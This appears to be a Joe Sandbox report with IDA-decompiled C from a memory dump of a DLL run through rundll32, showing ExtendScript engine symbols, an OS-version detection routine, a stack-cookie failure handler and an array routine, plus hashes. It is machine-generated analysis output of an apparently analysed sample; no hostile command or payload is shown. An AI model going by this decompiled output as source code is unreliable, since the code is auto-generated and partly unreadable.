UnaryNode::*toUnaryNode, xrefs: 1005B2D2
Dispatcher::*call, xrefs: 1005A038
Dispatcher::*hasProperty, xrefs: 10059F35
EsDebugger::*stop, xrefs: 10059E24
Engine::*call, xrefs: 1005A751, 1005A791
Engine::*unprotectObject, xrefs: 1005AD75
ValidateData::*test_3, xrefs: 1005B9BD
EsDebugger::*hide, xrefs: 10059EE4
LabelNode::*toLabelNode, xrefs: 1005B704
Engine::*getStackLimit, xrefs: 1005A211
Engine::*makeArray, xrefs: 1005A911
Node::*dump, xrefs: 1005B235
Engine::*lockGC, xrefs: 1005A611
Dispatcher::*getClassInfo, xrefs: 1005A0F8
Engine::*setTimeout, xrefs: 1005AB51
Engine::*setStackLimit, xrefs: 1005A251
ListNode::*foldConstants, xrefs: 1005B621
Node::*toLabelNode, xrefs: 1005B16C
Engine::*setDebugger, xrefs: 1005AC5A
Engine::*getDebugger, xrefs: 1005AC1A
Dispatcher::*put, xrefs: 10059FF8
Callback::*running, xrefs: 10059B83
LabelNode::*toString, xrefs: 1005B755
Engine::*clone, xrefs: 1005A149
Engine::*invalidateObject, xrefs: 1005A551
EsDebugger::*start, xrefs: 10059DE1
Script::*getFileNameID, xrefs: 1005AEDB
Callback::*garbageCollecting, xrefs: 10059BD0
UnaryNode::*dump, xrefs: 1005B35B
BinaryNode::*foldConstants, xrefs: 1005B3AC
ScopeNode::*toScopeNode, xrefs: 1005B844
Engine::*enumProperties, xrefs: 1005A691
Engine::*poll, xrefs: 1005ABD1

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: BinaryNode::*dump$BinaryNode::*foldConstants$BinaryNode::*toBinaryNode$BinaryNode::*toString$Callback::*engineNotify$Callback::*enterDebugMode$Callback::*garbageCollecting$Callback::*getClassObject$Callback::*isValidClassName$Callback::*leaveDebugMode$Callback::*running$Callback::*runtimeError$Callback::*undefinedError$Dispatcher::*call$Dispatcher::*get$Dispatcher::*getClassInfo$Dispatcher::*getEnumNames$Dispatcher::*getEnumerableProperties$Dispatcher::*getProperties$Dispatcher::*hasProperty$Dispatcher::*put$Engine::*addDispatcher$Engine::*call$Engine::*cancelTask$Engine::*cancelTasks$Engine::*clearError$Engine::*clone$Engine::*compile$Engine::*convertToScalar$Engine::*deleteObject$Engine::*deleteProperties$Engine::*enumProperties$Engine::*eval$Engine::*fillArray$Engine::*findObject$Engine::*gc$Engine::*get$Engine::*getAPI$Engine::*getClassInfo$Engine::*getDebugger$Engine::*getDictionary$Engine::*getDispatcher$Engine::*getError$Engine::*getErrorInfo$Engine::*getStackLimit$Engine::*good$Engine::*invalidateClass$Engine::*invalidateObject$Engine::*isBusy$Engine::*lockGC$Engine::*makeArray$Engine::*poll$Engine::*protectObject$Engine::*put$Engine::*reset$Engine::*restoreError$Engine::*scheduleTask$Engine::*setDebugger$Engine::*setDictionary$Engine::*setError$Engine::*setStackLimit$Engine::*setTimeout$Engine::*stop$Engine::*suspendTimeout$Engine::*unprotectObject$EsDebugger::*hide$EsDebugger::*poll$EsDebugger::*start$EsDebugger::*stop$EsDebugger::*write$GlobalDialogs::*call$LabelNode::*dump$LabelNode::*toLabelNode$LabelNode::*toString$ListNode::*dump$ListNode::*foldConstants$ListNode::*toListNode$ListNode::*toString$Node::*dump$Node::*foldConstants$Node::*toBinaryNode$Node::*toLabelNode$Node::*toListNode$Node::*toScopeNode$Node::*toString$Node::*toTernaryNode$Node::*toUnaryNode$ScopeNode::*dump$ScopeNode::*foldConstants$ScopeNode::*toScopeNode$ScopeNode::*toString$Script::*getFileName$Script::*getFileNameID$Script::*getFileNameIDs$Script::*getSource$Script::*isBinary$Script::*store$TernaryNode::*dump$TernaryNode::*foldConstants$TernaryNode::*toString$TernaryNode::*toTernaryNode$UnaryNode::*dump$UnaryNode::*foldConstants$UnaryNode::*toString$UnaryNode::*toUnaryNode$ValidateData::*test_1$ValidateData::*test_2$ValidateData::*test_3$q
API String ID: 0-2830504052
Opcode ID: 77c55373b1f209be902b30788cee27fe1ab38256e727ec08e4201b8d6830d977
Instruction ID: ef3ff5bc188e487b95e6d60919046e25f9f23cfe8aa550a08830a1e6094df77c
Opcode Fuzzy Hash: 77c55373b1f209be902b30788cee27fe1ab38256e727ec08e4201b8d6830d977
Instruction Fuzzy Hash: D1132BB1900619AFDB44DFE8CD55BEEB7B8EF14211F104618E525E22C1EF786B088F69

Uniqueness

Uniqueness Score: -1.00%

Function 100559A0 Relevance: 29.9, APIs: 3, Strings: 14, Instructions: 152
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E100559A0(struct _OSVERSIONINFOA* _a4) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v155;
				struct _OSVERSIONINFOA _v176;
				intOrPtr _v180;
				intOrPtr _v184;
				struct _SYSTEM_INFO _v220;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t31;
				signed int _t32;
				void* _t38;
				union %anon243 _t41;
				char* _t42;
				intOrPtr _t47;
				intOrPtr _t48;
				intOrPtr _t50;
				intOrPtr _t51;
				intOrPtr _t52;
				void* _t55;
				char* _t56;
				void* _t57;
				void* _t69;
				struct _OSVERSIONINFOA* _t70;
				char* _t71;
				void* _t72;
				void* _t73;
				void* _t76;
				void* _t78;
				signed int _t79;

				_t31 =  *0x10094144; // 0x3a5d9654
				_t32 = _t31 ^ _t79;
				_v20 = _t32;
				 *[fs:0x0] =  &_v16;
				_t70 = _a4;
				_v8 = 0;
				_v180 = _t70;
				_v184 = 0;
				 *0x1006a190(_t32, _t69, _t73, _t55,  *[fs:0x0], 0x10068823, 0xffffffff);
				_push(0x9c);
				_push(0);
				_push( &_v176);
				_v8 = 0;
				_v184 = 1;
				_t56 = 0x1006acf8;
				L1005C162();
				_t59 =  &_v176;
				_v176.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v176) == 0) {
					_v176.dwOSVersionInfoSize = 0x94;
					if(GetVersionExA( &_v176) == 0) {
						_t59 = _t70;
						 *0x1006a2d0("Windows");
					}
				}
				_t38 = _v176.dwPlatformId - 1;
				if(_t38 == 0) {
					if(_v176.dwMajorVersion == 4) {
						_t47 = _v176.dwMinorVersion;
						if(_t47 != 0) {
							if(_t47 != 0xa) {
								if(_t47 == 0x5a) {
									_t56 = " Me";
								}
							} else {
								if(_v155 != 0x41) {
									_t56 = " 98";
								} else {
									_t56 = " 98 SE";
								}
							}
						} else {
							_t48 = _v155;
							if(_t48 == 0x43 || _t48 == 0x42) {
								_t56 = " 95 OSR2";
							} else {
								_t56 = " 95";
							}
						}
					}
				} else {
					if(_t38 == 1) {
						_t50 = _v176.dwMajorVersion;
						if(_t50 > 4) {
							if(_t50 != 5) {
								if(_t50 == 6) {
									_t51 = _v176.dwMinorVersion;
									if(_t51 != 0) {
										if(_t51 >= 1) {
											_t56 = " 7";
										}
									} else {
										_t56 = " Vista";
									}
								}
							} else {
								_t52 = _v176.dwMinorVersion;
								if(_t52 != 0) {
									if(_t52 <= 2) {
										_t56 = " XP";
									}
								} else {
									_t56 = " 2000";
								}
							}
						} else {
							_t56 = " NT";
						}
					}
				}
				_t71 = 0x1006acf8;
				_t76 = E10055970(_t59);
				GetSystemInfo( &_v220);
				_t41 = _v220.dwOemId;
				if(6 == _t41 || 9 == _t41 || _t76 != 0) {
					_t71 = "/64";
					_t42 = "(32-bit emulation)";
					if(_t76 != 0) {
						goto L34;
					}
					goto L33;
				} else {
					L33:
					_t42 = 0x1006acf8;
					L34:
					 *0x1006a234(_v180, "Windows%s%s %ld.%ld %s %s", _t71, _v176.dwMajorVersion, _v176.dwMinorVersion,  &(_v176.szCSDVersion), _t42);
					 *[fs:0x0] = _v16;
					_pop(_t72);
					_pop(_t78);
					_t57 = _t56;
					return E1005C09A(_v180, _t57, _v20 ^ _t79, _v176.dwMajorVersion, _t72, _t78);
				}
			}

0x100559b7
0x100559bc
0x100559be
0x100559c8
0x100559ce
0x100559d5
0x100559d8
0x100559de
0x100559e4
0x100559ea
0x100559f5
0x100559f6
0x100559f7
0x100559fa
0x10055a04
0x10055a09
0x10055a17
0x10055a1e
0x10055a2c
0x10055a35
0x10055a43
0x10055a4a
0x10055a4c
0x10055a4c
0x10055a43
0x10055a58
0x10055a59
0x10055ac5
0x10055ac7
0x10055acf
0x10055af0
0x10055b0c
0x10055b0e
0x10055b0e
0x10055af2
0x10055af9
0x10055b02
0x10055afb
0x10055afb
0x10055afb
0x10055af9
0x10055ad1
0x10055ad1
0x10055ad9
0x10055ae6
0x10055adf
0x10055adf
0x10055adf
0x10055ad9
0x10055acf
0x10055a5b
0x10055a5c
0x10055a62
0x10055a6b
0x10055a7a
0x10055a9f
0x10055aa1
0x10055aa9
0x10055ab5
0x10055ab7
0x10055ab7
0x10055aab
0x10055aab
0x10055aab
0x10055aa9
0x10055a7c
0x10055a7c
0x10055a84
0x10055a93
0x10055a95
0x10055a95
0x10055a86
0x10055a86
0x10055a86
0x10055a84
0x10055a6d
0x10055a6d
0x10055a6d
0x10055a6b
0x10055a5c
0x10055b13
0x10055b1d
0x10055b26
0x10055b2c
0x10055b3b
0x10055b4b
0x10055b50
0x10055b57
0x00000000
0x00000000
0x00000000
0x10055b59
0x10055b59
0x10055b59
0x10055b5e
0x10055b82
0x10055b90
0x10055b98
0x10055b99
0x10055b9a
0x10055ba8
0x10055ba8

APIs

GetVersionExA.KERNEL32(?), ref: 10055A28
GetVersionExA.KERNEL32(0000009C), ref: 10055A3F
GetSystemInfo.KERNEL32(?), ref: 10055B26

Strings

98 SE, xrefs: 10055AFB
95, xrefs: 10055ADF
Windows, xrefs: 10055A45
95 OSR2, xrefs: 10055AE6
98, xrefs: 10055B02
2000, xrefs: 10055A86
NT, xrefs: 10055A6D
/64, xrefs: 10055B4B, 10055B7A
Windows%s%s %ld.%ld %s %s, xrefs: 10055B7C
XP, xrefs: 10055A95
Vista, xrefs: 10055AAB
A, xrefs: 10055AF2
Me, xrefs: 10055B0E
(32-bit emulation), xrefs: 10055B50, 10055B70

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Version$InfoSystem
String ID: 2000$ 95$ 95 OSR2$ 98$ 98 SE$ Me$ NT$ Vista$ XP$(32-bit emulation)$/64$A$Windows$Windows%s%s %ld.%ld %s %s
API String ID: 731687086-1715203867
Opcode ID: df54146a816680678f15cacc8949395151596a9b587ca1948df0c7c171282b19
Instruction ID: 867e73376b154700b72ddc620de5b0e76c00f744f45d12f523b40f832bc159b7
Opcode Fuzzy Hash: df54146a816680678f15cacc8949395151596a9b587ca1948df0c7c171282b19
Instruction Fuzzy Hash: 0851F830F042A9DBEB30CB048CA4B9E77F5FB45291F414296DA49D7201E77A5E88CF96

Uniqueness

Uniqueness Score: -1.00%

Function 100060D0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 310COMMON

Download Yara Rule

APIs

lgetVersion@Engine@ScScript@@SAHXZ.MAIN ref: 10006162
lgetStackTrace@DebugAPI@ScScript@@QBE?AVString@ScCore@@HH@Z.MAIN ref: 100062D7
lgetName@Engine@ScScript@@QBEABVString@ScCore@@XZ.MAIN ref: 100063FC

Strings

Dictionary, xrefs: 100063CA
(debug), xrefs: 1000616B
4.6.1, xrefs: 10006154
78.509322, xrefs: 1000618E
Error, xrefs: 10006332

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$Core@@Engine@String@$DebugName@StackTrace@Version@
String ID: (debug)$4.6.1$78.509322$Dictionary$Error
API String ID: 3584778489-3562168370
Opcode ID: dea6a368080b62c6f3c14d317e985680c7cc23c38989cfee1cff6aec94cfee03
Instruction ID: e97fd6d3262873dd808d14a488298870370faa8022b6a2dc3063ec15bd688d9a
Opcode Fuzzy Hash: dea6a368080b62c6f3c14d317e985680c7cc23c38989cfee1cff6aec94cfee03
Instruction Fuzzy Hash: F4C19DB1904219DFE714EFA5CC98DAEB7B6FF59304F104508E456936A1CB74AA88CF60

Uniqueness

Uniqueness Score: -1.00%

Function 1005C09A Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E1005C09A(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t32;

				_t25 = __esi;
				_t24 = __edi;
				_t23 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t32 = _t20 -  *0x10094144; // 0x3a5d9654
				if(_t32 == 0) {
					asm("repe ret");
				}
				 *0x10094308 = _t6;
				 *0x10094304 = _t20;
				 *0x10094300 = _t23;
				 *0x100942fc = _t19;
				 *0x100942f8 = _t25;
				 *0x100942f4 = _t24;
				 *0x10094320 = ss;
				 *0x10094314 = cs;
				 *0x100942f0 = ds;
				 *0x100942ec = es;
				 *0x100942e8 = fs;
				 *0x100942e4 = gs;
				asm("pushfd");
				_pop( *0x10094318);
				 *0x1009430c =  *_t29;
				 *0x10094310 = _v0;
				 *0x1009431c =  &_a4;
				 *0x10094258 = 0x10001;
				_t11 =  *0x10094310; // 0x0
				 *0x1009420c = _t11;
				 *0x10094200 = 0xc0000409;
				 *0x10094204 = 1;
				_t12 =  *0x10094144; // 0x3a5d9654
				_v812 = _t12;
				_t13 =  *0x10094148; // 0x44bf19b1
				_v808 = _t13;
				 *0x10094250 = IsDebuggerPresent();
				_push(1);
				L1005CA60();
				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(0x10073c40);
				if( *0x10094250 == 0) {
					_push(1);
					L1005CA60();
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c09a
0x1005c0a0
0x1005c0a2
0x1005c0a2
0x1005c6b9
0x1005c6be
0x1005c6c4
0x1005c6ca
0x1005c6d0
0x1005c6d6
0x1005c6dc
0x1005c6e3
0x1005c6ea
0x1005c6f1
0x1005c6f8
0x1005c6ff
0x1005c706
0x1005c707
0x1005c710
0x1005c718
0x1005c720
0x1005c72b
0x1005c735
0x1005c73a
0x1005c73f
0x1005c749
0x1005c753
0x1005c758
0x1005c75e
0x1005c763
0x1005c76f
0x1005c774
0x1005c776
0x1005c77e
0x1005c789
0x1005c796
0x1005c798
0x1005c79a
0x1005c79f
0x1005c7b3

APIs

IsDebuggerPresent.KERNEL32 ref: 1005C769
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1005C77E
UnhandledExceptionFilter.KERNEL32(10073C40), ref: 1005C789
GetCurrentProcess.KERNEL32(C0000409), ref: 1005C7A5
TerminateProcess.KERNEL32(00000000), ref: 1005C7AC

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 2640791ab30624e5d8e42b65e496f97109ef08bfb8deefc23472a383ca7617de
Instruction ID: 6fb7999cc3a35b111e21660ad327a1df8f5107a3c5ab73c1a494edcf8494c89a
Opcode Fuzzy Hash: 2640791ab30624e5d8e42b65e496f97109ef08bfb8deefc23472a383ca7617de
Instruction Fuzzy Hash: 0621ADB88052289FF318DF65EDC5E443BB4FB08704B92825BF51C87261EBB45A898F59

Uniqueness

Uniqueness Score: -1.00%

Function 1002B980 Relevance: 3.3, APIs: 2, Instructions: 257
COMMONCrypto

Download Yara Rule

C-Code - Quality: 43%

			E1002B980(void* __fp0, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t99;
				intOrPtr _t100;
				intOrPtr _t103;
				intOrPtr _t106;
				char _t108;
				intOrPtr _t109;
				intOrPtr _t113;
				char _t117;
				char _t118;
				void* _t119;
				intOrPtr _t121;
				void* _t123;
				intOrPtr _t125;
				void* _t127;
				char _t130;
				intOrPtr _t140;
				intOrPtr _t145;
				intOrPtr* _t146;
				void* _t147;
				intOrPtr* _t148;
				intOrPtr* _t149;
				void* _t150;
				intOrPtr _t163;
				intOrPtr _t166;
				intOrPtr _t168;
				intOrPtr _t170;
				intOrPtr _t172;
				intOrPtr _t173;
				intOrPtr _t175;
				intOrPtr _t182;
				intOrPtr _t183;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr _t186;
				intOrPtr _t188;
				intOrPtr _t190;
				intOrPtr* _t193;
				intOrPtr _t194;
				intOrPtr _t195;
				intOrPtr _t198;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr _t202;
				void* _t203;
				void* _t224;

				_t224 = __fp0;
				_t146 =  *0x1006a308; // 0x87cf8
				_t183 = _a4;
				 *_t146(0);
				_t99 =  *0x1006a2cc();
				if(_t99 == 0) {
					return _t99;
				}
				_t100 =  *((intOrPtr*)(_t183 + 8));
				if( *((intOrPtr*)(_t100 + 0x10)) != 5) {
					_t193 = 0;
					__eflags = 0;
				} else {
					_t193 =  *((intOrPtr*)(_t100 + 8));
				}
				_t194 = E1002AB30(_t193);
				_v20 = _t194;
				 *_t146(0);
				_t103 =  *0x1006a2ac();
				_v12 = _t103;
				 *_t146(1, 0, 0x7fffffff);
				_t147 =  *0x1006a92c();
				_t106 =  *((intOrPtr*)( *((intOrPtr*)(_t183 + 0x14))));
				_t176 =  *((intOrPtr*)(_t106 + 4));
				_t108 =  *((intOrPtr*)( *((intOrPtr*)(_t106 + 4))))() - 2;
				_v16 = _t108;
				if(_t108 < 0) {
					_v16 = 0;
				}
				_t109 = _v12;
				if(_t109 < 0) {
					_t109 = _t109 + _t194;
					if(_t109 < 0) {
						_v12 = 0;
						_t109 = _v12;
					}
				}
				_v12 = _t109;
				if(_t109 > _t194) {
					_v12 = _t194;
					_t109 = _t194;
				}
				if(_t109 + _t147 > _t194) {
					_t147 = _t194 - _t109;
				}
				 *0x1006a308(1);
				if( *0x1006a2cc() == 0) {
					_t147 = _t194 - _v12;
				}
				_t113 = _v16 - _t147;
				_v24 = _t113;
				_v28 = _t113 + _t194;
				if(_t147 == 0) {
					L27:
					_t163 = _v12;
					_t117 = _t194 - _t163 - _t147;
					if(_t147 >= _v16) {
						__eflags = _t117;
						if(_t117 == 0) {
							L47:
							_t118 = _v28;
							_v8 = _t118;
							__eflags = _t118 - _t194;
							if(_t118 >= _t194) {
								L53:
								_t184 =  *((intOrPtr*)(_t183 + 8));
								__eflags =  *((intOrPtr*)(_t184 + 0x10)) - 5;
								if( *((intOrPtr*)(_t184 + 0x10)) != 5) {
									_t195 = 0;
									__eflags = 0;
								} else {
									_t195 =  *((intOrPtr*)(_t184 + 8));
								}
								_t119 = E1002AB80(_v28, _t195, _t224);
								L57:
								__eflags = _v16;
								if(_v16 <= 0) {
									L64:
									return _t119;
								}
								_t185 = _v12;
								_t121 = 2 - _t185;
								_v24 = 2;
								_v28 = _v16;
								while(1) {
									_t177 = _a4;
									_t166 =  *((intOrPtr*)(_a4 + 8));
									__eflags =  *((intOrPtr*)(_t166 + 0x10)) - 5;
									if( *((intOrPtr*)(_t166 + 0x10)) != 5) {
										_t148 = 0;
										__eflags = 0;
									} else {
										_t148 =  *((intOrPtr*)(_t166 + 8));
									}
									_t123 =  *0x1006a308(_t121 + _t185, 0);
									_t168 =  *0x1009415c; // 0x0
									_t119 =  *((intOrPtr*)( *((intOrPtr*)( *_t148 + 4))))(E10004070(_t148, _t168, _t177, _t185), _t123);
									_t185 = _t185 + 1;
									_t96 =  &_v28;
									 *_t96 = _v28 - 1;
									__eflags =  *_t96;
									if( *_t96 == 0) {
										goto L64;
									}
									_t121 = _v24;
								}
								goto L64;
							}
							do {
								_t125 =  *((intOrPtr*)(_t183 + 8));
								__eflags =  *((intOrPtr*)(_t125 + 0x10)) - 5;
								if( *((intOrPtr*)(_t125 + 0x10)) != 5) {
									_t149 = 0;
									__eflags = 0;
								} else {
									_t149 =  *((intOrPtr*)(_t125 + 8));
								}
								_t170 =  *0x1009415c; // 0x0
								_t198 =  *_t149;
								_t127 = E10004070(_t149, _t170, _t176, _v8);
								_t176 =  *((intOrPtr*)(_t198 + 0x9c));
								 *((intOrPtr*)( *((intOrPtr*)(_t198 + 0x9c))))(_t127);
								_t130 = _v8 + 1;
								_v8 = _t130;
								__eflags = _t130 - _v20;
							} while (_t130 < _v20);
							goto L53;
						}
						_t150 = _t147 + _t163;
						_v8 = _t117;
						do {
							_t186 =  *((intOrPtr*)(_t183 + 8));
							__eflags =  *((intOrPtr*)(_t186 + 0x10)) - 5;
							if( *((intOrPtr*)(_t186 + 0x10)) != 5) {
								_t172 = 0;
								__eflags = 0;
							} else {
								_t172 =  *((intOrPtr*)(_t186 + 8));
							}
							__eflags =  *((intOrPtr*)(_t186 + 0x10)) - 5;
							if(__eflags != 0) {
								_t199 = 0;
								__eflags = 0;
							} else {
								_t199 =  *((intOrPtr*)(_t186 + 8));
							}
							_t176 = _t150 + _v24;
							E1002AA50(_t150, _t172, _t150 + _v24, _t172, _t199, __eflags, _t150 + _v24);
							_t183 = _a4;
							_t203 = _t203 + 4;
							_t150 = _t150 + 1;
							_t67 =  &_v8;
							 *_t67 = _v8 - 1;
							__eflags =  *_t67;
						} while ( *_t67 != 0);
						_t194 = _v20;
						goto L47;
					}
					_v8 = _t117;
					_t136 = _t117 + _t163 + _t147;
					_v20 = _t117 + _t163 + _t147;
					while(1) {
						_t188 =  *((intOrPtr*)(_t183 + 8));
						if( *((intOrPtr*)(_t188 + 0x10)) != 5) {
							_t173 = 0;
							__eflags = 0;
						} else {
							_t173 =  *((intOrPtr*)(_t188 + 8));
						}
						_t222 =  *((intOrPtr*)(_t188 + 0x10)) - 5;
						if( *((intOrPtr*)(_t188 + 0x10)) != 5) {
							_t200 = 0;
							__eflags = 0;
						} else {
							_t200 =  *((intOrPtr*)(_t188 + 8));
						}
						_t119 = E1002AA50(_t136, _t173, _v24 + _t136, _t173, _t200, _t222, _v24 + _t136);
						_t203 = _t203 + 4;
						if(_v8 == 0) {
							goto L57;
						}
						_t183 = _a4;
						_v8 = _v8 - 1;
						_v20 = _v20 - 1;
						_t136 = _v20;
					}
					goto L57;
				} else {
					_t182 =  *((intOrPtr*)( *((intOrPtr*)(_t183 + 4))));
					_t176 =  *((intOrPtr*)(_t182 + 0xdc));
					 *((intOrPtr*)( *((intOrPtr*)(_t182 + 0xdc))))( *((intOrPtr*)(_t183 + 0x18)), 0x20000089);
					_t175 = 0;
					_v8 = 0;
					if(_t147 == 0) {
						goto L27;
					}
					while(1) {
						_t140 =  *((intOrPtr*)(_t183 + 0x18));
						if( *((intOrPtr*)(_t140 + 0x10)) != 5) {
							_t176 = 0;
							__eflags = 0;
						} else {
							_t176 =  *((intOrPtr*)(_t140 + 8));
						}
						_t190 =  *((intOrPtr*)(_t183 + 8));
						_t217 =  *((intOrPtr*)(_t190 + 0x10)) - 5;
						if( *((intOrPtr*)(_t190 + 0x10)) != 5) {
							_t202 = 0;
							__eflags = 0;
						} else {
							_t202 =  *((intOrPtr*)(_t190 + 8));
						}
						E1002AA50(_v12 + _t175, _t175, _t176, _t176, _t202, _t217, _t175);
						_t183 = _a4;
						_t145 = _v8 + 1;
						_t203 = _t203 + 4;
						_v8 = _t145;
						if(_t145 >= _t147) {
							break;
						}
						_t175 = _v8;
					}
					_t194 = _v20;
					goto L27;
				}
			}

0x1002b980
0x1002b987
0x1002b98e
0x1002b996
0x1002b99a
0x1002b9a2
0x1002bc47
0x1002bc47
0x1002b9a8
0x1002b9b0
0x1002b9b7
0x1002b9b7
0x1002b9b2
0x1002b9b2
0x1002b9b2
0x1002b9c1
0x1002b9c5
0x1002b9c8
0x1002b9cc
0x1002b9de
0x1002b9e1
0x1002b9ee
0x1002b9f0
0x1002b9f2
0x1002b9f7
0x1002b9fa
0x1002b9fd
0x1002b9ff
0x1002b9ff
0x1002ba06
0x1002ba0b
0x1002ba0d
0x1002ba0f
0x1002ba11
0x1002ba18
0x1002ba18
0x1002ba0f
0x1002ba1b
0x1002ba20
0x1002ba22
0x1002ba25
0x1002ba25
0x1002ba2c
0x1002ba30
0x1002ba30
0x1002ba37
0x1002ba47
0x1002ba4b
0x1002ba4b
0x1002ba51
0x1002ba53
0x1002ba58
0x1002ba5d
0x1002bac7
0x1002bac7
0x1002bace
0x1002bad3
0x1002bb2d
0x1002bb2f
0x1002bb7f
0x1002bb7f
0x1002bb82
0x1002bb85
0x1002bb87
0x1002bbc8
0x1002bbc8
0x1002bbcb
0x1002bbcf
0x1002bbd6
0x1002bbd6
0x1002bbd1
0x1002bbd1
0x1002bbd1
0x1002bbdb
0x1002bbe0
0x1002bbe0
0x1002bbe4
0x1002bc41
0x00000000
0x1002bc41
0x1002bbe6
0x1002bbf1
0x1002bbf3
0x1002bbf6
0x1002bc03
0x1002bc03
0x1002bc06
0x1002bc09
0x1002bc0d
0x1002bc14
0x1002bc14
0x1002bc0f
0x1002bc0f
0x1002bc0f
0x1002bc20
0x1002bc26
0x1002bc39
0x1002bc3b
0x1002bc3c
0x1002bc3c
0x1002bc3c
0x1002bc3f
0x00000000
0x00000000
0x1002bc00
0x1002bc00
0x00000000
0x1002bc03
0x1002bb90
0x1002bb90
0x1002bb93
0x1002bb97
0x1002bb9e
0x1002bb9e
0x1002bb99
0x1002bb99
0x1002bb99
0x1002bba3
0x1002bba9
0x1002bbac
0x1002bbb1
0x1002bbba
0x1002bbbf
0x1002bbc0
0x1002bbc3
0x1002bbc3
0x00000000
0x1002bb90
0x1002bb31
0x1002bb33
0x1002bb40
0x1002bb40
0x1002bb48
0x1002bb4b
0x1002bb52
0x1002bb52
0x1002bb4d
0x1002bb4d
0x1002bb4d
0x1002bb54
0x1002bb57
0x1002bb5e
0x1002bb5e
0x1002bb59
0x1002bb59
0x1002bb59
0x1002bb63
0x1002bb6b
0x1002bb70
0x1002bb73
0x1002bb76
0x1002bb77
0x1002bb77
0x1002bb77
0x1002bb77
0x1002bb7c
0x00000000
0x1002bb7c
0x1002bad5
0x1002bada
0x1002badc
0x1002bae0
0x1002bae0
0x1002baeb
0x1002baf2
0x1002baf2
0x1002baed
0x1002baed
0x1002baed
0x1002baf4
0x1002baf7
0x1002bafe
0x1002bafe
0x1002baf9
0x1002baf9
0x1002baf9
0x1002bb08
0x1002bb0d
0x1002bb14
0x00000000
0x00000000
0x1002bb1a
0x1002bb22
0x1002bb25
0x1002bb28
0x1002bb28
0x00000000
0x1002ba5f
0x1002ba62
0x1002ba67
0x1002ba73
0x1002ba75
0x1002ba77
0x1002ba7c
0x00000000
0x00000000
0x1002ba83
0x1002ba83
0x1002ba8e
0x1002ba95
0x1002ba95
0x1002ba90
0x1002ba90
